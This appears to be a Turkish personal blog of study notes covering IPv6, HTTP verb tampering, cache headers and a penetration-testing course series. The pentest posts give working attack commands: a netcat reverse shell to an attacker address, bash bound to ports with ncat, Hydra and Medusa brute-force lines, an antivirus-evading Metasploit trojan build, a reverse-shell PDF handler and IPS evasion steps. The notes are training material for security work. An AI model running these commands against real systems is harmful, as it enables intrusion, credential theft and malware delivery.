27 Aralık 2011 Salı

IPv6 - Saat 3

IPv4 - IPv6 İletişim - Çeviri
IPv4 bir cihaz ile IPv6 bir cihaz doğrudan haberleşemez.
Çeviri
  • Çevirici, üzerinde çeviriyi yapan bir betik çalıştıran alelade bir bilgisayar.
  • Uçtan uca bağlantıyı kesen - bozan bir yapı
    • Video konferans, uzaktan erişim vb. durumlarda sıkıntı var.
  • IPSec çalışmaz bu yöntemle. Göndericide hesaplanan bütünlük değeri ile alıcıda hesaplanan farklı olacak, arada çevirdik çünkü.
  • Bu başlık altındaki yöntemler:
    • NAT64 - DNS64
      • Belirlenen önek arkasına IPv4 adresi eklenerek çeviri yapılıyor.
      • IPv4 adresi, hexa olarak da decimal olarak da eklenebiliyor, ikisi de kabul ediliyor.
      • Belirlenen ön ek: 64:FF9B::/96
    • TRT
    • IVI

26 Aralık 2011 Pazartesi

IPv6 - Saat 2

IPv6 Adres Tipleri
  • Unicast. Tek bir interface tanımlar
  • Multicast. Bir gruba gönderilir
  • Anycast. Paket sadece aynı adresi kullanan, bize en yakın üyeye gönderilir.

  • IPv6'de
    • Broadcast yok (Multicast var)
    • NAT yok
  • Küresel yönlendirilebilir IPv& adresleri, 2 ile başlıyor!
  • 0::/8 bloğu
    • Belirsiz adres: 0:0:0:0:0:0:0:0
    • 0:0:0:0:0:0:0:1
  • 001::/3 => Global unicast (Mantıken "küresel NAT" gibi düşünülebilir)
    • Bir interface'e istediğimiz kadar adres verebiliriz
    • Kernel seviyesinde "bu interface'e şu kadar adres verilebilir" diye ayarlamakta fayda var!
    • Küresel yönlendirme öneki
      • ISP'ler içim 32
      • Diğer için 48
  • FE80::/10 => Link local unicast - link local adres.
    • Sadece lokalde bu tür adresler olması lazım, dışarıda görmememiz lazım aslında. Ama görülüyormuş...
  • FF00::/8 => Multicast
    • Streaming
    • Lokal ağda kullanılacak gibi görünüyor.
    • "Tüm multicast adresler" oluşturulduğunda v4'teki broadcast'e karşılık oluyor.
  • IPv6 adreslerini
    • Üniversitelere Ulakbim verecek
    • Kamu kurumları ISP'lerden temin edebilecek
    • Türk Telekom, IPv6 hizmeti sunmaya başladı
Başlık Yapısı
  • Ek başlıklar kullanılmadıysa "paketin ilk şu kadarı başlıktır" diyebiliyoruz.
  • Başlık paketleri
    • Version
    • Traffic class
    • Flow label
    • Payload length <==
    • Next header <==
    • Hoop limit <==
    • Source address
    • Destination address  
  • Fragmentation işi, ek başlıklarla hallediliyor.
  • IPv6, fragmentation'ı aradaki hiçbir cihaz yapmasın, source ile destination bilsin sadece. Böylece statement vs.'ye ihtiyaç kalmıyor
  • UZANTI BAŞLIKLARI

ICMPv6
  • Aradaki FW vb. cihazların, ICMP tiplerine göre filtreleme yapıabiliyor olması gerekecek.
  • Tip alanı (ilk 8 bit)
    • İlk bit 0 ise (0-127) => hata mesajı
    • İlk bit 1 ise (128-255) => bilgi mesajı

  • "goforit" projesi: Dünya çapında IPv6 destekleyen cihazlar
  • Komşu keşfi (Neighbor discovery) protokolü
    • ICMPv6 mesajlarını kullanır
    • ARP + ICMPv4 router discovery + ICMPv4 redirect
  • 2 tip adres yapılandırması
    • Statik. Sunuculara yaparız, sonra o sunucuya otomatik ip yapılandırmasına girme deriz.
    • Otomatik
      • Stateless (durum denetimsiz). Kime ne IP verildiğini tutan bir şey yok. İlan edilen prefix'i (ilan eden muhtemelen router) alan cihaz, IP  üretir ve kullanır. Üretim MAC adresi kullanılarak yapılır.
        • Yeni uygulamada, IP'den MAC adresi anlaşılmasın diye MAC kullanımından vazgeçiliyor.
      • Stateful (durum denetimli). Dağıtılan IP'lerin tutulduğu durum.
        • DHCPv6 kullanılabilir.
        • Bir sıkıntı: Router advertisement ile gateway dağıtamıyoruz.
        • Çok düşünülerek tasarlanmamış, durum denetimsiz kullanılması öngörülerek tasarım yapılmış.

IPv6 - Saat 1


 IPv6 Temelleri

  • RFC 2460 - 2461
  • Her ne kadar "Yeni Nesil IP yapılandırması" diyorsak da yaklaşık 10 yıllık bir teknoloji.
  • En temel ihtiyaç sebebi: IPv4 32 bitlik adres yapısı (adresleme için yetersiz)
  • 3 Şubat 2011: IANA, elinde kalan son /8 IPv4 aralıklarını bölgesel IP adresi dağıtım yetkililerine (RIR) paylaştırmış.
  • NAT'ın temel sıkıntısı, uçtan uca bağlantı yapısını bozuyor olması.
  • IPSec ya da uygulama seviyesinde IPv4'ün açıklarını kapatmaya çalıştık.
  • "Otomatik IP yapılandırması"
    • Durum denetimcisiz IP yapılandırması
    • Örnek: Kablosuz sensör ağları
      • ABD'nin Afganistan'da kullandığı iddiaları var.
  • Servis kalitesi (QoS)
  • Yeni teknolojilere adaptasyon kolaylığı sağlaması için esnek başlık parçası düşünülmüş. Yeni bir teknoloji için başlığın değişmesi düşünüldüğünde bu ek başlık, başlığa iliştiriliyor... diye anladım.
  • IPv6, 128 bitlik adres yapısına sahip.
Yeni Güvenlik Özellikleri
  • IPSec, bütünleşik olarak gelmekte.
  • Güvenlik için ek başlıklar mevcut.
 Getirdikleri
  • Sadeleştirilmiş başlık yapısı. Kullanmadığımız parametreleri kaldırıp ihtiyaç duyduğumuz yeni başlıkları ekleme.
  • Otomatik adres yapılandırması 
  • Neighbor Nodes ile etkileşim için yeni protokol
    • ICMPv6
    • Multicast
  • Dolaşılabilirlik. Farklı ağlar içinde aynı IP adresinin kullanılması.


  • IPv6 kısaltma kuralları (RFC-5952)
    • Solda kalan 0'lar atılır
    • 4 hexa basamağı da 0 olan blokları komple atalım ve yerine ":" koyalım. DİKKAT: Bu kısaltma 1 kez yapılmalı, yoksa o ":" ile kısaltılan aralıklarda kaçar 0 atıldığını bilemeyiz.
    • Örnek
      • 2001:0db8:0000:0000:0000:0000:0000:0c50
      • 2001:db8::c50
  • CIDR gösterimi kullanılmaktadır.
    • Ağ adresini belirleyen bit sayısı / işareti kullanılarak adres sonuna yazılır
      • 2001:db8::2aa:ff:fe28:9ce5 /32
      • Ağ adresi: 2001:db8::
  • Subnetleme
    • 4'ün katı olsun maskelerimiz. Yoksa işleri karıştırabiliriz
    • En uzun 64 bit maske
    • Kalan 64 bit, arayüz tanıtıcı olacak. Cihaz, 48 bitlik MAC adresine 16 bit daha ekleyerek tanıtıcı yapacak kendisine.
    • ISP, 56 bitlik aralık verdiyse, 64 - 56 = 8 bitlik subnet adresleme aralığın olacak; 2 üzeri 8 subnet tanımlayabilme demek bu da.
    • Daha çok subnet istiyorsak, ISP'den 52 bitlik ya da daha düşük bitlik aralık alacağız paraya kıyıp.

15 Eylül 2011 Perşembe

Form Authentication Brute Forcing w/Hydra

Hydra kullanarak POST talebi yapan bir kullanıcı girişi ekranına kaba kuvvet saldırılması için düzenlenmesi gereken parametreler:
# hydra
- l ya da -L: login (kullanıcı adı) bilgisi. -l ile tek bir kullanıcı adı verilirken, -L ile bir dosya verilir (loginWordList).
-p ya da -P: password bilgisi. -p ile tek bir parola verilirken, -P ile bir dosya verilir (passwordWordList).
-f: İlk başarılı denemede uygulamanın sonlanmasını sağlar (finish)
-t 10: Paralelde çalıştırılacak task sayısı. Ön tanımlı değer 16'dır, ön tanımlı kalmasında bir sakınca göremedim.
server: Hedef sunucu (192.168.4.158 gibi)
service: POST talepli bir form authentication için bu değer "http(s)-post-form"dur. Bu parametre, arkasından çift tırnak içinde ve iki nokta ile ayrılacak şekilde 3 parametre alır: "<URL>:<Form parametreleri>:<Başarısız denemede alınan mesaj parçası>". Form parametreleri, & ile ayrılır ve kullanıcı adının geleceği yere ^USER^ ve parolanın geleceği yere ^PASS^ karakter kümesi konur.

Örnek bir hydra komutu şu şekilde gerçekleşir:
hydra -L /pentest/passwords/john/user.lst -P /pentest/passwords/john/user.lst 192.168.4.158 http-post-form "/authentications/login:data%5BAuthentication%5D%5Busername%5D=^USER^&data%5BAuthentication%5D%5Bpassword%5D=^PASS^:recognized" -f

25 Ağustos 2011 Perşembe

HTTP Verb Tampering

HTTP Filleri Kurcalama
http://jeremiahgrossman.blogspot.com/2008/06/what-you-need-to-know-about-http-verb.html adresindeki Jeremiah Grossman'ın konu ile ilgili yazısı temel alınarak hazırlanmıştır:


  1. Bir web uygulamasının ne tür HTTP talepleri almayı umduğu manipülasyonu, GET talebini POST'a çevirmek ya da tersi gibi, yıllardır yapılagelen bir kurcalama. Web uygulamamız sadece gelmesini beklediğimiz taleplere izin vermeli, fazlasına değil. İlginç olan bu taleplerin ne zaman ve hangi amaçlarla kullanılabileceği.
  2. HTTP fiilleri kurcalama, genellikle söz dizimsel (SQLi, XSS gibi) ve anlamsal/semantik (kimlik doğrulama ya da yetkilendirme atlatma gibi) saldırılarla birlikte, defansif önlemleri atlama yöntemi olarak kullanılır. Arshan Dabirsiaghi'nin çalışması, anlamsal saldırılarla birlikte kullanmaya odaklanmıştır.
  3. Söz dizimsel saldırılarda HTTP filleri kurcalama, bir oturum nesnesinden kötü niyetli veriyi (DROP TABLE...) almada kullanılabilir. Mesela sorgu parametreleri ayıklanmıştır (sanitize / steril edilmiş); ama saldırgan parametreyi POST kullanarak POST parametresi olarak mesaj gövdesi içinde gönderebilir ve bu verinin sterilizasyonu da uygulama tarafından gözardı edilmiş olabilir. Bu durum SQLi, XSS vb teknik zafiyetlere neden olabilir.
  4. Söz dizimsel HTTP fiil kurcalamalarından korunmak için, kullanıcıdan sadece beklenen formatta ve beklenen parametre isimlerinde girdiler kabul edilmelidir. Saldırganın keyfi isim/değer çiftleri eklemesine izin verilmemelidir.
  5. Anlamsal ataklarda HTTP fiil kurcalama, özel HTTP filleri (GET gibi mesela) ve özel alanlar için var olan  yetki ve kimlik denetimi korumalarını atlatmak için kullanılabilir. Bir ayar, /admin/* dosyalarına yapılan GET taleplerinin admin oturum rolüne sahip olması gerektiğini söyleyebilir. Bu ayarda listelenmeyen bir metodun (POST ya da HEAD gibi) otomatik olarak reddedildiği (default-deny mode) varsayılmış olabilir; gerçekte böyle olmak zorunda değildir. HEAD metodu, GET gibi düşünülmelidir, tek fark, HEAD metoduna bir yanıt dönmez. Saldırgan, /admin/delete_user.cgi?id=1 talebini, HEAD metodu ile, yukarıdaki ayardaki eksiklik/hata nedeniyle gönderebilir. Her hangi bir yanıt dönmesine ihtiyacı yoktur saldırganın.
  6. Kişinin kendisini koruması için yapabileceği birkaç şey var. En doğrudan olan yol, tüm HTTP metodlarının / fiillerinin aksi tanımlanmadığı sürece default-deny modda olması.
  7. Söz dizimsel zafiyetlerin taranması mümkün, ancak zafiyetin sömürülebilmesi için birkaç talep gönderilmesi gerekliliği de her zaman olasıdır. Anlamsal zafiyetlerin taranması ise çok daha zordur ve çoğu zaman manüel tarama / çalışma gerekir. Tarayıcılar teknik olarak zafiyeti yakalayabilseler de bu tür zafiyetler temelde iş mantığı hatalarıdır; tarayıcılar bu testin çıktılarının neler olabileceğini bilemezler.

26 Temmuz 2011 Salı

Pentest in Practice - XI: Firewall/IPS Evasion

Firewall, IPS vb Atlatma

  • IPS'lerin çok başarılı olamamasının 2 nedeni:
    • Webden gelen saldırılar
    • Post-exploitation'da SSL üzerinden (socat, netcat, meterpreter) reverse-shell
  • Firewall, kural tablosuna (iptable) top-down bakar; bulduğu duruma uyan ilk kuralı çalıştırır ve tabloya bakmayı bırakır.
  • hackvertor.co.uk/public => Encoding ile ilgili akla gelen tüm yöntemlerin olduğu site.
  • Firewall var mı kontrolü:
    • Telnet ile bloklanacak bir talep (GET/POST) gönderilir. Mesela ../../../etc/passwd gibi
    • Sunucudan cevap dönmemesi (Connection closed by foreign host benzeri bir kesilme) durumunda web sunucuya ulaşmadan istek engelleniyor demektir.
    • Talebe sunucudan yanıt (response, 404 not found vb) dönmesi, isteğin sunucuya kadar ulaştığını, bir cihaz tarafından kesilmediğini / engellenmediğini gösterir.
    • Bu kontrolü yaparken telnet kullanmakta fayda var. Doğrudan browser üzerinden yapılacak denemelerde browserlar girilen URL üzerinde gerekli düzenleme yaparak (mesela /etc/./passwd gibi girilecek deneme stringini /etc/passwd olarak düzenleyip göndermek gibi) gönderebilir; istediğimiz kalıbı deneyememiş oluruz.
  • Atlatma Yöntemi: Packet Fragmentation.
    • IP fragmentation'ı kullanabilmek için "rp_filter" disable edilir.
      • $ echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter; ya da
      • $ echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter
    • Daha sonra fragmentation:
      • $ fragroute -f /usr/local/etc/fragroute.conf 95.173.123.112
    • Sonra telnet ile talep gönderilir. IPS doğru yapılandırılmadıysa sonuç sunucudan gelecektir; IPS'i atlattık demektir.
  • Atlatma Yöntemi: Encoding
  • Atlatma Yöntemi: SSL Kullanımı
    • telnet akbank.com 80 yerine
    • ncat --ssl akbank.com 443 kullanmak.
    • Layer-7 IPS ile SSL el sıkışma işi IPS tarafından yapılmadığı sürece SSL ile gönderilen taleplerin içeriğini IPS göremeyecek ve dolayısıyla talepler üzerinde kuralları işletemeyecektir.
  • Yanıtın IPS'ten mi, web/uygulama sunucudan mı döndüğü kontrolü:
    •  Normal bir talep gönderilir; TTL değeri tespit edilir (WireShark vb kullanılabilir)
    • IPS tarafından engellenecek bir talep gönderilir; TTL değeri tespit edilir
    • İkisi karşılaştırılır. Sunucu TTL'i 256'dan, IPS 128'den düşüyor olabilir mesela, TTL değerleri oldukça farklı olacaktır bu gibi durumlarda.
  • LoadBalancer varlığı kontrolü:
    • Resimvb içerik, varsa loadbalancer cihaz üzerinden servis edilir. Sunucu ile LoadBalancer cihazların TTL politikaları farklıysa yanıtı kimin döndüğünü yorumlayabiliriz.
    • LoadBalancer atlatma yöntemi: Search. LoadBalancer buna birşey yapamaz. Eş zamanlı birçok arama gönderildiğini düşün.

Pentest in Practice - X: Social Engineering

Sosyal Mühendislik

  • www.social-engineer.org => Social engineering toolkit
  • set (Social Engineering Toolkit)
    • BackTrack5'te kurulu geliyor => /pentest/exploits/set
    • set-update => Sık güncellendiğinden kullanmadan önce bunu yapmakta fayda var.
    • ./set => console UI; ./set-web => graphical UI
    • # use /exploit/multi/handler

25 Temmuz 2011 Pazartesi

Pentest in Practice - IX: Pratik Bilgiler

  • # ncat -l 1900 --keep-open --send-only --ssh-exe /bin/bash &
  • Bir linux sisteme girildikten sonra yapılacak araştırmalar:
    • 777 izinli dosyalara bakılır
    • .***_history (.bash_history gibi) dosyalarına bakılır
    • -netstat -rn (routing table)
    • /sbin/arp -an => network taraması
  • ssh -l <user> 95.173.123.112 -p <port|22>
  • FTP port açıksa:
    • Hemen anonymous ftp açık olup olmadığına bakılır.
    • En çok kullanılan ftp user/pwd çiftleri ile brute force denemeleri yapılır.
    • İyi bir pwd list olarak backtrack içindeki /pentest/passwords/john/password.lst kullanılabilir.
    • medusa ile ftp brute force => # medusa -M ftp -h <URL> -U <user-list> -P <pwd-list>
  • Nessus'un raporladığı açıklıklarla ilgili önce google'da "jboss metasploit" tarzı bir arama yap.
  • Karşı tarafta bir bind_tcp shell açtığımızı düşünelim. 
    • Eğer varsa nc (netcat) ile bir portu dinlemeye açıp oraya bağlanabiliriz.
    • Yoksa, ncat, ftp, tftp vs "ne açık?" taraması yapalım.
    • ncat -l 6666 --keep-open --udp --send_only --ssh.exe /bin/bash &

Pentest in Practice - VIII: Password Cracking

Password Cracking

  • www.skullsecurity.org => Sözlükler
  • Crunch => wordlist generator
  • Rainbow table'lar ile ilgili google'da "hash calculator" ve "hash cracker" kavramları aratılabilir.
  • John The Ripper (Kısaca John ya da JTR) => Linux makinelerin şifrelerini kırmak için tek kullanışlı seçenek. Bir başka örnek: hashcat. (JTR'i tercih ediyoruz)
  • Cain & Abel
    • Dinlenen trafikte yakaladığın password hash'lerini kır diyebiliyoruz. Salt kullanan durumlar desteklenmiyor.
  • http://md5.rednoize.com/ => md5'i google üzerinden forumlarda arıyor.
  • /etc/shadow ya da /etc/master.passwd
  • SALT: 
    • Tuzlanmış değer, tuzu bilmeden bir işe yaramaz.
    • Tuzlanmış değerler için hazır rainbow table'lar işe yaramaz; o tuz değeri için hazırlanmış tablolar gerekir.
    • $1$ => md5
    • $6$ => sha512
  • John The Ripper
    • Dağıtık yapıda çalıştırılabiliyor.
    • Öntanımlı ayarlarla önce yaklaşık 3000'lik bir password listesi tarıyor; daha sonra username'e göre üretilen şifreler denemeye başlıyor; "root" kullanıcısı için "Root123" şifresi gibi.
    • En basit kullanımı: "# john <dosya-adı>"
    • Wordlist ile kullanım: "# john -w:</path/ve/dosya-adı>"
    • JTR'nin yapacağı brute force denemeleri için min ve max şifre uzunluklarını john.conf dosyası içinden belirleyebiliriz.
    • JTR ile sadece rakam denemeleri: "# john -i:digits <dosya-adı>"
    • JTR uygulamasının ticari versiyonu mevcut. O versiyonda dağıtık olarak brute force denemeleri yönetilebiliyor.
Active Online Password Cracking

  • Medusa, Hydra, Brutus
  • Medusa
    • Güncel + modül desteği var.
    • # medusa -d <modül>
    • # medusa -M mssql -q ...
    • Diğer sık kullanılan medusa parametreleri:
      • -h <URL>
      • -H <dosya-adı>
      • -u <kullanıcı-adı>
      • -U <kullanıcı-adı-dosyası>
      • -p <şifre>
      • -P <şifre-dosyası>
    • Örnek: SSH => # medusa -M ssh -m BANNER:SSH-2.0-FOOBAR -h 192.168.200.41 -u root -P /pentest/pwd/p.lst -f
    • Örnek: Basic Authentication => # medusa -h <host> -DIR:/path/
  • DEPANT: Yerel ağda password brute force için sadece bu yeterli.

Pentest in Practice - VII: Metasploit

Metasploit

  • Exploit araştırma => Security Focus
  • Metasploit'taki Payload: Exploit sonrası çalıştırılacak içerik.
  • Payload içeriğinin anlaşılmaması için "encoder".
  • Auxiliary: Exploit etmede yardımcı araçlar.
  • Metasploit kullanırken sıkça kullanılan komutlar:
    • > help
    • > search <ms08_067>
    • > search <tomcat>
    • > show
    • > show exploits
    • > use <exploit-adı>
    • > info <exploit-adı> (ya da exploit içindeyken sadece info yazmak yeterli)
    • > back
    • > show payloads => Exploit seçildikten sonra kullanılırsa sadece o exploit ile kullanılabilecek payload'lar listelenir.
    • > set payload <payload-adı>
    • > show options => Set edilmesi gereken parametreleri gösterir. Ayrıca hangi payload'un seçili olduğunu ve o payload'un parametrelerini gösterir.
    • > set RHOST <ip-addr> => Bir option (parametre) set etme örneği
    • > check => Tüm değer atamalar da tamamlandıktan sonra exploit çalışıp çalışmadığı testi.
    • > exploit => Run!
  • borwser-autopwn => Tüm browser açıklıklarını barındıran bir sayfa hazırlar, bağlanan istemci browser'ı üzerinde exploit'ları tek tek dener.
  • Sık kullanılan bazı meterpreter komutları:
    • meterpreter> getsystem
    • meterpreter> getuid
    • meterpreter> execute -f "cmd.exe"
    • meterpreter> execute -f "cmd.exe" -i
    • meterpreter> exit
  • Senaryo: Reverse shell açan bir payload barındıran PDF dosyası oluşturarak kurbana gönderdik. Sonra dinleme moduna geçiyoruz:
    • > use exploit/multi/handler
    • > set payload windows/meterpreter/reverse_tcp
    • > set LHOST <ip>
    • > set LPORT <port>
    • > exploit
  • msfpayload => Trojan vb payload oluşturma.
  • metsvc => Meterpreter payload'unu makinede servis olarak çalıştırır.
  • msfencode => Payload'u encode ederek binary dosyaya gömer. Antivirüs programlarının işini zorlaştırmaktır amaç.
  • msfpayload ve msfencode birlikte kullanımı:
    • msfpayload /windows/meterpreter/bind_tcp LPORT=443 | msfencode -e x86/shikata_ga_hai -i 5 > ajanX.exe

18 Temmuz 2011 Pazartesi

No-Store Nedir?

En uygun cache kullanımı konusunda tavsiye edilen kombinasyon şu:
Cache-Control: no-cache, no-store
Pragma: no-cache
Expires: -1
Bu noktada, Cache-Control header'ında no-cache yanında no-store kullanımı gerekliliğinin nedenini anlamaya çalışıyorum.

"no-store" ayarının/direktifinin ne işe yaradığına dair: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9.2
...

  • "No-Store" direktifinin amacı, hassas bilgilerin dikkatsizce yayımlanmasının ya da saklanmasının/tutulmasının (mesela backup teypleri tarafından) engellenmesidir.
  • No-Store direktifi, tüm mesaja (talep ya da yanıt) uygulanır ve hem talep hem de yanıtta kullanılabilir.
    • Talepte kullanılırsa, hem talep hem de yanıtın hiçbir parçası önbellek tarafından depolanmaz (MUST NOT store kabılı kullanılıyor).
    • Yanıtta kullanılırsa, o yanıtın hiçbir parçası ve yanıtın neden olacağı / ortaya çıkaracağı taleplerin (302 sonrası yapılan talep örnek gösterilebilir) hiçbir parçası depolanmayacaktır (MUST NOT store).
  • Direktif, hem paylaşılmış hem de paylaşılmamış önbellekler üzerinde uygulanır.
  • Burada "MUST NOT Store" kalıbının anlamı: önbellek kasıtlı olarak bilgiyi geçici-olmayan (non-volatile) depoda saklayamaz ve bilgiyi gönderir göndermez geçici depolardan silmek için en iyi eforu sergilemekle yükümlüdür.
  • Bu direktif yanıt ile ilişkilendirilmiş olsa bile, kullanıcılar böyle bir talebi önbellek sisteminin dışında bir yere açıkça kopyalayabilirler (mesela "save as" diyaloğu ile). History tampon bellekleri bu tür yanıtları normal operasyonlarının bir parçası olarak depolayabilirler.
  • Bu direktifin amacı, gerçek kullanıcıların ve bilginin beklenmeyen önbellek veri yapısı erişimi yolu ile kazara yayımlanmasından endişe eden servis yazarlarının belirli ihtiyaçlarını karşılamak.

6 Temmuz 2011 Çarşamba

Pentest in Practice - VI: NetCat

NetCat

  • "netcat" ya da "nc" komutu
  • Portu açar = Portu dinlemeye alan bir uygulama çalıştırır.
  • DNS Cat ==> İncele!
  • Dinleme modu: $nc 10.1.1.5 99 (nc <ip> <port>)
  • Sunucu modu: nc -l -p 99 (99. portu dinlemeye aç)
  • Senaryo:
    • Kurban makinede RCE (remote code execution) zafiyeti olan bir web uygulaması var.
    • Saldırgan tarafında sunucu başlat ==> nc -l -p 443
    • Kurban makinedeki web uygulamasında ==> nc <saldırganRealIP> 443 -e /bin/bash
    • Senaryoda saldırgan makinenin NAT arkasında olmadığı düşünülüyor.
    • Kurban makinede dışarı çıkış izni olan bir port kullanmak lazım. Senaryoda bu nedenle 443 portu kullanılıyor; https için kullanılan port; genelde dışarı doğru açık olur.
  • Bir makine üzerinden başka bir makine ele geçirme ==> $nc -l -p 80 | nc 5.5.5.6 445
  • NetCat ile port tarama ==> nc -z -v <IP-aralığı>

Pentest in Practice - V: NMap Family

NMap Ailesi

  • NMap araç ailesi:
    • Nping ==> hping muadili
    • Ncat ==> netcat (nc) muadili
    • NSE ==> NMap Security Engine
    • Ncrack ==> Medusa + Hydra. Uzaktan parola kırma.
  • Bu araçların oturması için biraz zamana ihtiyacı var. Yine de mesela netcat'e izin vermeyen makinelerde Ncat kullanımı denenebilir.
  • Ncat
    • netcat komutunda -e ile (ve -c) komut çalıştırılabiliyor. Yeni nesil netcast'lerde bu özellik kaldırılmış olabilir. Bu durumda Ncat kullanımı alternatif olarak düşünülebilir.
  • NMap
    • Default değerlerle tarama yapılırsa en çok kullanılan 1000 portu tarar; tüm portlara bakmaz
    • Tüm portlara bakması için: -p 1-65535
    • Default değerlerle tarama yapılırsa DNS'ten isim çözümlemesi yapmaya çalışır. Bu zaman kaybını engellemek için -n ile "DNS çözümlemesi yapma" diyebiliriz.
    • nmap çalışırken <Enter>a basıldığında taramanın yüzde kaçlık diliminde olduğu görüntülenir.
    • -sP: Ping scan.
    • İşe yarar tarama türleri (Bunlar dışındaki taramaları statful firewall'lar yakalar ve engeller zaten):
      • -sS ==> SYN scan. 3lü el sıkışma tamamlanmadığı için IP-spoofing ile kendimizi gizleyebiliriz.
      • -sV ==> Port üzerinde çalışan uygulamanın versiyonunu belirleme
      • -sU ==> UDP scan.
      • -sT ==> TCP scan. 3lü el sıkışma tamamlanır.
    • TCP tarafında:
      • Önce -sS denenir. Syn-proxy vb varsa sağlıklı sonuç alınamaz, bu durumda
      • -sT denenir. Bu da işe yaramazsa
      • -sV ile denenir.
    • UDP tarafında:
      • UDP taleplerine yanıt dönülmediği için tarama sıkıntılı. 
      • Açık port için cevap dönmeyecek; kapalı port için "Port Unreachable" dönecek.
      • Firewall, kapalı portlar için yanıt dönmesini engelliyor olabilir. Bu nedele nmap cevap gelmediği durumları "open/filtered" olarak yorumlar.
      • Sağlıklı sonuç alabilmek için -sU taramasını -sV ile yapmak şart.
      • nmap'in yanıt yorumunu incelemek için --reason parametresi.
    • -O ==> OS detection. --script ile OS detection scriptleri de kullanılabilir, incelemekte fayda var.
    • -A ==> -sV + -sC + -O + --traceroute birleşimi.
    • Syn-proxy / Syn-cookie aktif sistemlerde:
      • Portun açık mı kapalı mı olduğuna bakmaksızın her talebe SYN-ACK gönderir. Sıradan bir -sS taramasında tüm portlar açık gibi bir sonuç elde edilir.
      • 3lü el sıkışma tamamlanana kadar Syn-proxy devrede, sonra aradan çekiliyor. -sV parametresinde el sıkışmadan sonrasında devam edildiği için sağlıklı sonuç alınır; daha doğrusu cevap alınır.
  • linux'teki "lsof -i -nn" komutunu incele!
    • Hangi kullanıcı, hangi prosesleri açmış; hangi porttan nerelere bağlanıyor ==> Açık portlar listesi

Pentest in Practice - IV: Aktif Bilgi Toplama (Devamı)

  • DNS hakkında bilgi toplama
    • 2 tür DNS:
      • Genele açık DNS. Tüm talepleri yanıtlamaya çalışır.
      • Yetkili (Authoritive) DNS.
    • $dig NS site.com.tr
    • $dig www.google.com @dns1.ktu.edu.tr
    • Sniffer.net ==> subdomain'leri çıkarmak için bir araç mevcut.
    • dnsenum: Bactrack5 içinde /pentest/enumeration/dns/dnsenum ==> Brute forcing.
      • Zone transferi yapılabiliyor mu? Cevap evet ise teste devam etme zaten :)
      • TCP port 53
    • Relay control ==> clez.net
    • Klasik kontrol: Spam gönderimine açık web sunucu.
  • SNMP ile ilgili bilgi toplama
    • snmpenum
    • Nessus SNMP scanner
    • Cain ==> Cisco SNMP Config Downloader
  • FOCA ==> ?

4 Temmuz 2011 Pazartesi

Pentest in Practice - III: Aktif Bilgi Toplama

Aktif Bilgi Toplama

  • İz bırakan bilgi toplama yöntemleri.
  • Ağ haritası çıkarma: Router, Firewall, IPS, WAF...
  • Açık sistemler, açık portlar vs bilgileri toplama.
  • TraceRoute / Tracert
    • Windows'ta ICMP, linux'te UDP port 30000 üzerinden çalışır
    • tcptraceroute. TCP 80 portundan çalışır.
      • Linux'te komut olarak var.
      • serversniff.net'te "IP tools" menüsü altında var.
    • dig MX ... ==> Mail exchange sorgulaması
  • NMAP
    • -Pn ==> "Ping atma" diyoruz nmap'e.
  • IPS Keşfi Çalışması
    • IPS'lerin çok büyük çoğunluğu Layer2 çalışır; dolayısıyla TTL değeri incelemesiyle filan IPS keşfi yapılamaz.
    • Test: IPS'in yakalayacağından emin olduğun bir talep gönder, ../../ ya da etc/passwd gibi. Sonra dönen yanıtı incele.
    • Örnek: 
      • telnet www.site.com 80
      • GET ../../../cmd.exe HTTP/1.0
      • Web sunucudan yanıt (200'lü, 400'lü vs) dönmüyor da "Connection closed by foreign host" gibi bir yanıt dönüyorsa...
    • IPS çalışma mantığı
      • DRP
      • RST
    • IPS evasion technique:
      • IPS, SYN talebi içinde geçen kurcalanmış payload'ları loglamaya çalışıyorsa (stateful çalışmıyor demektir) IPS şişirilerek kontrol edilemez hale getirilir. Bu durumda IPS çoğunlukla gelen trafiği incelemeden geçirmeye başlar; diğer bir yol, tüm trafiği engellemesidir ki genelde tercih edilmez.
  • Syn-Cookie. Açık olan/olmayan her port için (ilgili makineye hiç gitmeden) açık cevabı gönderir. Bu, SYN scan işe yaramaz demektir.
  • WAF Keşfi. WafW00f
  • Sistem uptime'ının belirlenmesi: hping3 -s --tcp-timestamp...

Pentest in Practice - II: Pasif Bilgi Toplama

Pasif Bilgi Toplama

  • The Harvester: Bactrack5'te /pentest/enumeration/theharvester
    • $ python theharvester.py -d www.site.com.tr -b google -l 100
  • Netcraft
    • Eski olabilir; nmap ile alınan sonuçları teyit amacıyla kullanılabilir.
  • Aynı IP üzerindeki domain'leri sorgulamak için: 
    • bing.com ==> ip:www.site.com.tr
    • robtex.com
  • pipl.com: Kişi hakkında web üzerinde araştırma yapar.
  • GHDB: Google Hacking DataBase
    • www.hackersforcharity.org/ghdb
    • johnny.ihackstaff.com
    • exploit-db.com ==> GooLag Scanner
  • Online pasif bilgi toplama:
    • clez.net
    • serversniff.net
    • hackertarget.com

Pentest in Practice - I: Genel

  • DRADIS Pentest Framework: Pentest ekiplerinin çalışma süresince bulgularını paylaşabilecekleri ortam.
  • İç pentestlerde öncelik, ağ altyapısının güvenliğidir. Güvenlik için kurulacak araçlar ancak altyapı kadar güvenli olabilir.
  • ISSAF: Adım adım testleri ve açıklıkların nasıl exploit edileceğini anlatır bir proje. Son zamanlarda güncellenmemiş olmaklakla birlikte pentest işine yeni başlayanlar için oldukça değerli bir kaynak (En son Mayıs 2006'da güncellenmiş görünüyor).
  • Penetration Testing Framework
    • http://www.vulnerabilityassessment.co.uk
    • "Şu konuyla alakalı hangi araçları kullanabilirim?"
    • Test yaparken sürekli açık olmasında fayda var. Açık bir port buldun ve üzerinde çalışan uygulamayı belirledin, "şimdi neler yapabilirim" sorusunun cevabı bu sitede.
  • FireCAT: Firefox Catalog of Auditing ExTensions. Testlerde ve denetlemelerde yararlanılabilecek Firefox plug-in'leri.

6 Mayıs 2011 Cuma

CEH by BGA - Gün 5 - Ders 2

Wireless Ağ Güvenliği (Devam)
  • Wireless MAC adres filtreleme atlatma:
    • Monitor modda sistemi dinleriz, bağlanan istemci MAC adreslerinigörürürüz, o MAC adreslerden birini alır, çıkmasını bekleriz, kendi MAC adresimizi değiştirerek bu aşamayı atlatırız.
    • Adam çıkmıyorsa deauthentication paketleriyle adamın düşmesini sağlayabiliriz.
    • #macchanger -m 00:11:22:33:44:55 => Fake MAC adres kullanmak için.
